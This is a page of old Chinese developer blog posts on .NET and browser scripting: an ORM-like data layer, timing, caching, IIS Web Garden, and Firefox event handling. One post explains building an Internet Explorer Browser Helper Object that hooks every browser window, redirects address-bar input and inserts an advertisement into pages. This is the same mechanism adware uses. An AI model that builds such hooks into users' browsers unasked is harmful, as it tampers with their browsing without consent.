     string n2 = dict[k2] as string;

     return string.Compare(n1, n2);

}, false);

上面的例子使用ProductID作为Key,找出相关的数据,然后用相关数据进行排序.

 

这个方法看上去和

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBy(delegate(Product p1, Product p2)

{

     string n1 = dict[p1.ProductID] as string;

     string n2 = dict[p2.ProductID] as string;

     return string.Compare(n1, n2);

}, false);

没两样.

 

但实际上OrderBy(delegate(Product p1, Product p2)的方案会加载所有符合Where的Product, 而OrderByKey则不需要. 在使用GetRange分页的情况下, OrderByKey会先对主键进行分页, 然后才加载符合分页的 Product, 明显性能会高很多.

 

 

# 性能问题

 

CSPAbstractRecord内部实现了2级的缓存. 这个会对多对一,一对多,多对多的关系起到非常重要的作用. 不过因为这个实现是透明的, 程序员完全不用去理解其内部实现机制. 这里就省略了.

 

而对数据库的读写操作, 是完全的强类型. 可以断定的是, AbstractRecord 比 DataSet 要快!

 

 

总结:

Abstract Record在开发模式上的创新和其灵活的特点, 能极大提高开发速度. 但这篇文章只是作为预告, 而CSPAbstractRecord是直接集成到另外一个项目中. 所以目前不会提供任何下载. 估计能提供下载的时间是国庆之后.

 

下面是我临时写的CSP的Feature列表:

 

CSP.AbstractRecord的特点:

 

- 极简单 -开发人员只需要了解1 个类的静态方法就OK了. 不需要去明白架构设计接口之类的.

- 轻量级 -用数据库的定义去决定代码. 维护方便.

- 强类型 -数据储存为强类型字段,读写数据并不使用反射.

- 零实现 -你无需再定义字段,和编写属性的get;set;的实现

- 可扩展 -通过实现自定义的属性和方法,去得到通知或改变默认的行为.

- 零配置 -你无需为映射设置配置文件. 而数据库配置工作,由CSP完成

- 零整合 -直接包含在CSP内, 无需额外下载,部署.

- 一致性 -当同一行记录有多个实例时, 如果其中一个实例采用Save方法,那么其他对象将得到同步.

 

- 适合设计,适合分工合作. 强调,CSP.AR非常适合经常改变需求的企业信息管理软件的开发.

 

- 不需要继承类似EntityBase的类.也不需要实现任何接口.

 

- 支持web-trust-level=Medium,

     但需要对~/Portals/有写权限(这个以后可能可以选用BuildProvider的方式去防止写目录的问题)

 

- 轻松处理一对多,多对多的关系.

    

- 支持自定义查询

     可以用SQL语句,把所有的主键读取回来, 然后使用CSPAbstractRecord<T>.BatchLoadRows 方法.

    

- 支持复合查询

     使用INNER JOIN或者其他更加高级的SQL语句. 使用自定义的查询方案, 或者使用CSPAbstractRecordQuery的Where方法

    

- 支持超大数据的分页.

     使用CSPAbstractRecordQuery的GetRange方法去进行超大数据的分页:

     int totalCount;int pageIndex=11;int pageSize=20;int start=pageIndex*pageSize;

     Product[] products=CSPAbstractRecord.All<Product>().Where("CategoryId={0}",11).OrderBy("ProductName").GetRange(start,pageSize,out totalCount);

 

CSP.AbstractRecord的缺点:

- 不支持abstract class的序列化.

     其实已经提供了对序列化的支持. 不过那些abstract的类是不能用于序列化的.

     如果要把对数据进行序列化, CSP.AbstractRecord提供了种很好的做法.

     1.直接使用CSPAbstractRecord.Serialize/Deserialize方法去读写数据.

     2.使用POCO对象.定义abstract class的Copy方法,然后序列化该POCO对象.

     3.使用新类,把abstract class的实例当作成员,在类实例序列化,反序列化时,使用方案去处理abstract class的实例.

 

- 集成在CSP中, 只能运行在CSP.只支持SqlServer.

     对于使用CSP开发的人员来说, 这反而是优点.

     因为直接集成, 开发人员可以不用关系实现的细节, 减少学习和部署的难度.

     另外因为只支持SqlServer, 所以开发人员,在他们的代码上, 可以很放心地使用各种SqlServer的SQL功能!

     特别是在查询是使用IN/EXISTS 语句上, 针对SQLServer能更加简单直接地实现更多的功能.

 

- 支持继承,但是有个限度.

     原因是数据的储存是需要和类设计严格关联的.这样类的数据储存就受到了一定的限制.

     这个会在谈到分表,视图的设计的时候谈到如何实现继承的应用.

 

不少ORM框架都希望能和SQL语句say goodbye, 所以那些ORM框架都建立自己的查询定义语句.

其实编写那些语句本身就是麻烦的事情.

CSP.AbstractRecord则建议开发者使用简单直接的SQL条件语句.

例如: Product[] products=CSPAbstractRecord.All<Product>().Where("CategoryId={0}",11).OrderBy("ProductName").GetRange(10,10,out totalCount);

 

 

为什么叫CSP.AbstractRecord?而不是ORM?

ORM的最大特点是Mapper , 但是AbstractRecord不是Mapper. 它是一个数据的CRUD的可封装模式.

它可以保护数据,维护业务的逻辑的正确性.

 

偏向DB,而不是OO.

因为要搞出像Linq的db.Products.Add(product)的方案,实在不容易,而且得不偿失.

AbstractRecord的设计会接近数据库操作.

必须保存一项,才能进行更进步一步的操作.

而且这个会更加容易理解.

 

 

 

 

 

 

 

 

 

 

posted on 2007-08-15 19:21:00 by lostinet  评论(12) 阅读(2487)

 
2005年11月03日

Firefox XMLHttpRequest 的 BUG

Firefox中,当一个脚本的执行是由另外一个Frame的事件引起的,

则当前window的脚本使用XMLHttpRequest进行异步调用后,

结果将不能取得. 错误为0x80040111 NS_ERROR_NOT_AVAILABLE.

IE 真的很慢

同样的DHTML操作,当规模达到一定程度时,IE的DOM的速度就变得非常慢了.

这个比起FIREFOX,OPERA,真的慢很多. 例如FIREFOX需要1秒做完的事情,IE需要6秒..~

IE天生很容易有MEMORY LEAK. 做客户端开发挺麻烦.

我曾经是IE的Fans, 但是经过最近的开发, 并且下载了FireFox的Skin

我发现FireFox也是很好的!

不过说起Bug,兼容性等事情, IE始终比FIREFOX好很多.

直接用XMLHttpRequest吗?

我一直都用Rane. 以前是,现在还是.

有时我曾经想, 做AJAX应用, 来来回回同步数据的操作就那么几个,

是不是为了性能,可以考虑手工做XMLHttpRequest的调用呢?

我想我不会手工去做了. 手工写重复无聊的代码, 调试起来都觉得麻烦~ 不是吗?

客户端用什么模式来写?

之前一段时间喜欢打WOW,而且还顺便学了LUA. 从中学到了一种基于事件的编程方式. 还有那简单的,少参数的全局函数的调用真的很爽.

我开始认为, 客户端所保留的数据,不用面向对象会直观很多!

使用全局函数的方式代理与服务器的通信,采用事件的方式更新UI.

这些操作不需要面向对象,不需要XXContext了. 很方便.

所以我现在用的结构大概是:

数据库 - 数据库访问层 - 业务层 - INTERNET - 客户端数据事件模型 - 客户端界面.

其中, 服务器一如既往 . 而客户端界面则用面向对象. (像Bindows那样)

至于 客户端数据事件模型 , 它完全不认识界面. 一切调用通过事件完成 , 更多的, 请参考 WOW 的界面开发..呵呵..

 

posted on 2005-11-03 01:48:00 by lostinet  评论(26) 阅读(6877)

 
2005年04月24日

DateTime.Now的精度是很低,这个低的意思是,两次获取的DateTime.Now的Ticks的差,只是一个较大数的整数倍。例如在我的机器上,这个差最小是10.114ms。所以,如果我用DateTime.Now来计算时间差,那么就无法精确到10ms以内。

后来发现ASP.NET的TRACE的精度很高,用Reflector看它的实现,发现了它是使用这两个方法的:

参考MSDN:How To: Time Managed Code Using QueryPerformanceCounter and QueryPerformanceFrequency

我自己了按照这个写了个类,代码如下

在ASP。NET的应用,可以在Global.asax的Application_BeginRequest事件中加入代码来纪录程序开始时的TickCount:

Context.Items["BeginRequestTickCount"]=A.GetTickCount();

然后在页面输出的后面:

<html>....
<div align="center">
<%=new TimeSpan(A.GetTickCount()-(long)Context.Items["BeginRequestTickCount"]).TotalMilliseconds%>
</div>
</body></html>

这样就可以达到获取页面运行时间值了。(当然输出TotalMilliseconds后Asp.Net还要一些后期工作的,不过这个时间应该只需要0.n ms)

--

posted on 2005-04-24 14:02:00 by lostinet  评论(18) 阅读(12123)

 
2005年04月22日
把VS.NET2005Beta2下载了下来,一直都没有好好地去研究一下。
今天突然想到一个有意思的Idea,关于程序中数据的获取方式的。
反正想试试而已,于是顺便练习了一下范型。

通常做数据缓存的时候,都是依靠Cache来实现的。
其实DotNet的垃圾回收和WeakReference类就可以用来做缓存了。
测试的代码如下:
下面说说大概的做法:
首先,在某个Context下(当然作成全局也可以。)
有一个储存这些数据的地方,在例子中是SomeContext._itemtable
而SomeContext.GetDataItem则使用一种类似Provider的方式来获取数据。
当执行GetDataItem时,需要指定一个key
如果_itemtable不存在这个key,则需要访问Provder来获取这个数据。
如果_itemtable已经有了这个数据了,则直接返回该数据就OK了。

当然,_itemtable和里面的Dictionary都不是 Cache 类型的,
那么数据是怎样自动释放的呢?

这里关键就是_itemtable里并不引用T类型的对象,它只储存WeakReference.
当T对象没有被任何引用,并且内存紧张,DotNet进行回收的时候,~T()就会被调用。
~T()最好主动告诉SameContext.RemoveDataItem,它已经被回收啦。

所以,要执行SameContext.RemoveDataItem, T对象必须要引用着SameContext的实例,这使序列化有点麻烦。

当然如果要做序列化,那么就不要把_context也带过去了,~T()可以判断一下_context是否为空。
因为复制后对象并不是在_context._itemtable中的,并不存在回收的问题。

例子中还包含了一个 Products 属性。这个属性告诉了,怎样令Supplier本身是有生命的。
_products本身是为null的,一直到get_Products时,才开始使用_context来获取。
而且这个_products本身也算是缓存了。除非Supplier被回收了,否则就不需要重新访问数据库。

当然,基于这个也许能做很多更有意思的东西,例如基于这个来做一个ORM。
不过等有空的时候再完善这个模型吧。
 
-----------------------------------------------
如果希望目标的数据类型与这个模型无关,例如使用已有的数据类型,
那么可以使用后来做的DataPair<K,T>类来协助实现。

posted on 2005-04-22 17:59:00 by lostinet  评论(8) 阅读(6454)

 
2005年03月07日

当使用

window.onunload=function(){...} 时,

如果窗口刷新或浏览其他页面,则该函数会被调用.

而如果窗口是被关闭时,则该函数不会被调用.

目前不清楚为什么会这样.

使用 window.attachEvent('onunload',function(){...});则可以解决问题.

Regards .

posted on 2005-03-07 23:55:00 by lostinet  评论(20) 阅读(14054)

 
2005年02月27日
BHO简介:
    BHO就是Browser Helper Object. 意思就是IE的插件..
    这里有一篇介绍. http://www.microsoft.com/mind/0598/browhelp.asp
    BHO关联原理 (BHO关联的是SHDOCVW,也就是说不只关联IE,下面全部用IE来说明)
    1.IE的窗口打开时,先寻找SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ 这里的对应的是CLSID
    2.IE根据CLSID创建 BHO 对象,并且查找 IOleObjectWithSite 接口. (这个接口非常简单,只有SetSite和GetSite两个方法)
    3.IE把IWebBrowser2传到 BHO 的 SetSite 方法
    4.窗口关闭时,IE把 null 传到 BHO 的 SetSite 方法.
 
    也就是说,如果你要做一个BHO,那么要做以下几个步骤
    1.创建 COM 类型, 实现 IOleObjectWithSite
    2.在 SetSite 的时候, 得到IWebBrowser2 , 并且进行自定义的初始化 . (一般是关联IWebBrowser2的事件)
    3.注册COM类型,并且关联到SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
 
OK , 下面来说说如何用 DotNet 做到这点 . 我这里有一个例子程序,是用 VS.NET2003 写的. 里面有一个 _steps.txt 解析了具体的过程.
 
 
要测试这个例子,你只需要编译这个工程,然后执行NetBHO.reg . 再重新打开IE就OK了.
 
_steps.txt 的内容为
 
重要的步骤是:
.引用 Interop.SHDocVw . 这个引用有点麻烦,因为要注册到COM,所以NetBHO必须是强名的。所以必须要用ildasm/ilasm对SHDocVw重新进行编译和引用。
.定义 IOleObjectWithSite . 代码在 oledef.cs 里. 这个定义是根据 DotNet COM Interop 的原则, 在我VC6的Include找到的IOleObjectWithSite的定义的基础上进行的.
.定义 class MyBHO : IObjectWithSite , 并且实现它. 这个相对还是容易了..

例子的实现是关联了一个 BeforeNavigate2事件 , 如果 url 是 ?keyword 或 http:///?keyword , 那么就转到 http://www.google.com/search?q=keyword 去.
也就是说,如果你在地址栏里输入 ?helloworld , 那么就会用 google 来查 helloworld

另外例子还关联了 NavigateComplete2事件, 并且在页面上插入了一条广告 ....

Regards ,Lostinet.

posted on 2005-02-27 15:33:00 by lostinet  评论(90) 阅读(23433)

 
在FireFox下编写事件处理函数是很麻烦的事.
因为FireFox并没有 window.event . 如果要得到 event 对象,就必须要声明时间处理函数的第一个参数为event.

所以为了兼容IE与FireFox,一般的事件处理方法为:
btn.onclick=handle_btn_click;
function handle_btn_click(evt)
{
    if(evt==null)evt=window.event;//IE
    //处理事件.
}
对于简单的程序,这不算麻烦.

但对于一些复杂的程序,某写函数根本就不是直接与事件挂钩的.如果要把event传进该参数,那么所有的方法都要把event传来传去..这简直就是噩梦.

下面介绍一个解决这个麻烦事的方法,与原理.

JScript中,函数的调用是有一个 func.caller 这个属性的.
例如
function A()
{
    B();
}
function B()
{
    alert(B.caller);
}
如果B被A调用,那么B.caller就是A

另外,函数有一个arguments属性. 这个属性可以遍历函数当前执行的参数:
function myalert()
{
    var arr=[];
    for(var i=0;i        arr[i]=myalert.arguments[i];
    alert(arr.join("-"));
}
alert("hello","world",1,2,3)
就能显示 hello-world-1-2-3
(arguments的个数与调用方有关,而与函数的参数定义没有任何关系)

根据这两个属性,我们可以得到第一个函数的event对象:
btn.onclick=handle_click;
function handle_click()
{
    showcontent();
}
function showcontent()
{
    var evt=SearchEvent();
    if(evt&&evt.shiftKey)//如果是基于事件的调用,并且shift被按下
        window.open(global_helpurl);
    else
        location.href=global_helpurl;
}
function SearchEvent()
{
    func=SearchEvent.caller;
    while(func!=null)
    {
        var arg0=func.arguments[0];
        if(arg0)
        {
            if(arg0.constructor==Event) // 如果就是event 对象
                return arg0;
        }
        func=func.caller;
    }
    return null;
}
这个例子使用了SearchEvent来搜索event对象. 其中 'Event' 是 FireFox 的 event.constructor .
在该例子运行时,
SearchEvent.caller就是showcontent,但是showcontent.arguments[0]是空.所以 func=func.caller 时,func变为handle_click .
handle_click 被 FireFox 调用, 虽然没有定义参数,但是被调用时,第一个参数就是event,所以handle_click.arguments[0]就是event !

针对上面的知识,我们可以结合 prototype.__defineGetter__ 来实现 window.event 在 FireFox 下的实现:

下面给出一个简单的代码.. 有兴趣的可以补充

posted on 2005-02-27 04:51:00 by lostinet  评论(25) 阅读(22995)

 
2005年02月02日
你的程序支持 IIS6 - Web Garden 吗?
 
很就没有更新BLOG了呵呵。 刚过来深圳,时间都是乱来的~~~
今天帮客户搞定一个部署上的问题,花了我半天的时间。。555。
 
后来才发现原来是IIS6 Web Garden的问题。
 
IIS6 Web Garden 指的是一个应用程序可以成多个进程(w3wp.exe)来执行,一次请求使用其中的一个。用这个的主要目的是提高程序的可用性。当其中一个进程发生错误,那么也不会影响其他进程。发生错误的进程可以根据规则关闭,而其他的进程则可以继续工作。
 
可惜不是每个应用程序都支持Web Garden的。 例如我做的那个就不是。
 
一般来说 , 不支持 Web Garden 的原因是各应用程序的内存状态是不同的。虽然是访问同一个网站 , 当访问第一个进程时,进程的内存如果纪录了某些重要的信息,而当访问第二个进程的时,却无法再得到那些信息时,那么程序就不一定能运行正常,或者会发生错误。
 
所以,一般使用 InProc HttpSessionState / HttpApplicationState / 静态变量来储存关键信息 的程序是不支持 Web Garden的。另外平时说Session信息丢失,也和这个有关。一般很多程序都使用Cache来储存临时数据,但如果某些被修改或删除的数据没有在该进程的Cache中得到更新,那么也会很容易导致程序出错。

如果你的程序用上面说的方法,并且在Windows2003/IIS6中发生奇怪的错误,那么请检查一下Web Garden的设置。


如果你希望应用程序支持Web Garden,甚至是支持集群,那么最简单的办法就是,尽量用Cookie来纪录登陆信息,以及所有的数据获取的动作都是从数据库中读取。例如Duwamish就是这种类型的程序。
 
如果一个应用程序连Web Garden都不支持,那么就更难支持集群了。

posted on 2005-02-02 21:20:00 by lostinet  评论(26) 阅读(7927)

 
2004年12月12日
通常一个类的constructor是protected的时候,是不希望用户直接调用它.
但是我发现可以用这么一个方法来实现调用:
 
关于protected成员的调用,以前有类似的blog的.关于protected的Quiz
protected的成员是不能变相被子类调用的,例如

是不能编译通过的,但constructor却能通过

当然,如果该类是sealed就不行了,那么protected和private也没有区别了.

posted on 2004-12-12 23:50:00 by lostinet  评论(17) 阅读(7707)

 
2004年11月19日

最近有病呆在家里,不是次就是睡,不只日夜颠倒了,还胖了不少。
不过空余的时间总不能浪费掉,所以开始了一个新的跨数据库访问组件。
不过那个组件要写比较长时间了,所以一时不会做得完。

不过今天用其中的技术做了个有用的例子,发到这里给大家参考一下。

这个例子的大概意思是,程序员参考存储的定义,写出一个接口出来,并且不需要写具体的实现代码,就能调用该接口了!
也就是说,程序员不需要写以下类似的代码了:

SqlCommand cmd=new SqlCommand("UpdateTopic",conn);
cmd.CommandType
=CommandType.StoredProcedure;

SqlParameter pTitle
=new SqlParameter("@title",SqlDbType.NVarChar,80);
pTitle.Value
=title;
cmd.Parameters.Add(pTitle);

//.


程序的例子如下

/****************************************************************\
 * 
 * 用 System.Reflection.Emit 来自动生成调用储存过程的实现!
 * 
 * By 
http://lostinet.com
 * 
 * Copyrights : Not-Reversed
 * 
\***************************************************************
*/


//使用的例子
namespace Lostinet.Sample
{
    
using System;
    
using System.Data;
    
using System.Data.SqlClient;
    
using System.Windows.Forms;

    
//定义一个接口,用于定义存储过程

    
interface INorthwindStoredProcedures
    
{
        
//定义存储过程对应的方法

        DataSet CustOrderHist(
string CustomerID);

        
//如果储存过程名字和方法名字不同,应该用SqlAccessAttribute来进行说明
        [SqlAccess("Employee Sales By Country")]
        DataTable EmployeeSalesByCountry(DateTime Beginning_Date,DateTime Ending_Date);

        
//more

        
//MORE Ideas..

        
//直接执行SQL语句?
        
//[SqlAccess(SqlAccessType.SqlQuery,"SELECT * FROM Employees WHERE EmployeeID=@EmpId")]
        
//DataTable SelectEmployee(int EmpId);
    }


    
class ConsoleApplication
    
{
        [STAThread]
        
static void Main(string[] args)
        
{
            
using(SqlConnection conn=new SqlConnection("server=(local);trusted_connection=true;database=northwind"))
            
{
                
//一句话就把实现创建了!
                
//需要传如 SqlConnection 和 SqlTransaction
                
//SqlTransaction可以为null

                
//这个好就好在,只要能得到SqlConnection/SqlTransaction就能用这个方法了,所以兼容 Lostinet.Data.SqlScope
                INorthwindStoredProcedures nsp=(INorthwindStoredProcedures)
                    StoredProcedure.CreateStoredProcedureInterface(
typeof(INorthwindStoredProcedures),conn,null);

                
//调用储存过程并且显示

                ShowData(
"CustOrderHist ALFKI",nsp.CustOrderHist("ALFKI"));

                ShowData(
"Employee Sales By Country",nsp.EmployeeSalesByCountry(new DateTime(1998,1,1),new DateTime(1999,1,1)));

            }

        }


        
static void ShowData(string title,object data)
        
{
            Form f
=new Form();
            f.Width
=600;
            f.Height
=480;
            f.Text
=title;

            DataGrid grid
=new DataGrid();            
            grid.Dock
=DockStyle.Fill;
            grid.DataSource
=data;

            f.Controls.Add(grid);
            f.ShowDialog();
        }


    }

}


//实现方法(不完整)


从这里复制代码:

posted on 2004-11-19 04:16:00 by lostinet  评论(22) 阅读(6118)

 
2004年11月03日

一直都想找一个能用的捕捉屏幕的软件。

例如那些FLASH工具。不过看来没有一个是免费的。

今天要用PCMARK来测试机器,发现它需要安装Windows Media Encoder。

既然装了,没有理由不打开来看看嘛。

发现 Windows Media Encoder 能捕捉屏幕或某一个窗口,保存为WMV。

嘿嘿,看来以后做演示容易很多了。

 

posted on 2004-11-03 18:20:00 by lostinet  评论(30) 阅读(13805)

 
2004年10月30日

最近无论是CSS,还是JS,都遇到奇怪的问题。

后来对比了一下代码,(用的是老土的方式:不断地替换掉代码,直到情况有变化位置)

才发现原来问题出在这一句上:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

后来把"http://www.w3.org/TR/html4/loose.dtd">去掉就可以了。

例如测试这么一个CSS:有loose.dtd后,其中的style就没有反应了~~~

posted on 2004-10-30 23:44:00 by lostinet  评论(30) 阅读(9836)

 
【第1页/共5页,89条】
首页
前页
1

Powered by: Joycode.MVC引擎 0.5.2.0